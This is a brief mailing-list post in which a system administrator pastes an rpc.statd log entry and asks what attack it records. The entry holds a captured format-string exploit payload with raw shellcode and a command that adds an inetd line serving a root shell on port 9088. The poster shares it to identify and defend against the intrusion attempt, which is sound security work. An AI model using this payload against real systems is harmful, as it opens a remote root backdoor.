What kind of attack?

["Christopher A. Romp" <romper () iastate edu>]

What kind of attack is this?:

Oct 16 18:50:33 maximus rpc.statd[298]: SM_MON request for hostname
containing '/': üöÿ¿üöÿ¿ýöÿ¿ýöÿ¿þöÿ¿þöÿ¿ÿöÿ¿ÿöÿ¿08049f10 bffff754 000028f8
4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63
696e6961 2720676e 203a272f
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bf
fff6fc0000000000000000000000000000000000000000000000000000000bffff6fd0000bff
ff6fe00000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000bffff6ff
ëK^‰v¬ƒî ^(ƒÆ ‰^°ƒî ^.ƒÆ ƒÃ ƒë#‰^´1Àƒî ˆF'ˆF*ƒÆ
ˆF«‰F¸°+, ‰óN¬V¸Í€1ۉØ@̀è°ÿÿÿ/bin/sh -c echo "9088 stream tcp nowait root
/bin/sh -i" >> /tmp/m; /usr/sbin/inetd /tmp/m;

Obviously it was an attempt to gain a root shell on my system, which failed,
but I'm curious as to what it was trying to exploit, and where I can find
more information on this attack.  Thanks.

Chris Romp
romper () iastate edu
----------------------
Please enter any 11-digit
prime number to continue...